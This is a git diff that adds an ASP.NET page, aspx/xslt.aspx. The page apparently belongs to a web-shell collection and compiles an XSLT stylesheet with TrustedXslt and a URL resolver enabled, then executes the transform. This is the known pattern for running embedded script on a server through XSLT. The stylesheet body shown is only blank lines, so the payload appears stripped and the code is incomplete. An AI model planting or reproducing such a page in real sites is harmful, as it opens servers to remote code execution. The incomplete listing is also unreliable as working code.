diff --git a/aspx/xslt.aspx b/aspx/xslt.aspx new file mode 100644 index 0000000..246a8d8 --- /dev/null +++ b/aspx/xslt.aspx @@ -0,0 +1,28 @@ +<%@page language="C#"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.Xml"%> +<%@ import Namespace="System.Xml.Xsl"%> +<% +string xml=@"test"; +string xslt=@" + + + + + + + + + + + +"; +XmlDocument xmldoc=new XmlDocument(); +xmldoc.LoadXml(xml); +XmlDocument xsldoc=new XmlDocument(); +xsldoc.LoadXml(xslt); +XslCompiledTransform xct=new XslCompiledTransform(); +xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver()); +xct.Transform(xmldoc,null,new MemoryStream()); + +%>